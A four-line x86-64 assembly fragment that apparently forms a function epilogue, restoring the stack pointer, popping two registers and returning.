lea rsp, [rbp + 0x288]
pop rdi
pop rbp
ret